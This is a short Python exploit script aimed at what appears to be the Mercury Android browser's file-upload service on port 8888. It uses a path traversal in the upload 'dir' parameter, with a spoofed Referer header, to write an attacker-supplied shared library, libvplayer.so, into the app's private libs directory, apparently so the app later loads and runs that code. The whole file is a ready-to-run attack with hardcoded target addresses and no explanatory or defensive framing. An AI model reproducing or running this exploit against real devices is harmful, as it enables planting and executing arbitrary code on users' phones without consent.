import requests
import sys

def do_exploit():
    
    # Update IP address as needed
    url = "http://192.168.3.128:8888/doupload?dir="
    path_traversl = "../../../../data/data/com.ilegendsoft.mercury/libs/&id=15c516f6-cc7d-4c5b-8e40-6a1200e7b963"
    headers = {"Referer": "http://192.168.225.207:8888/"}
    files = {"libvplayer.0.so": open("libvplayer.so", "rb")}

    try:
        print("[*] Uploading shared library : libvplayer.so")
        r = requests.post("".join([url, path_traversl]), files=files, headers=headers)
        if r.status_code == 200:
            print("[*] Successfully uploaded")
            print("[*] {0}".format(r.text))
        else:
            print("[*] Could not upload")
    except Exception as e:
        raise e

if __name__ == "__main__":
    try:
        do_exploit()
    except KeyboardInterrupt:
        sys.exit(0)
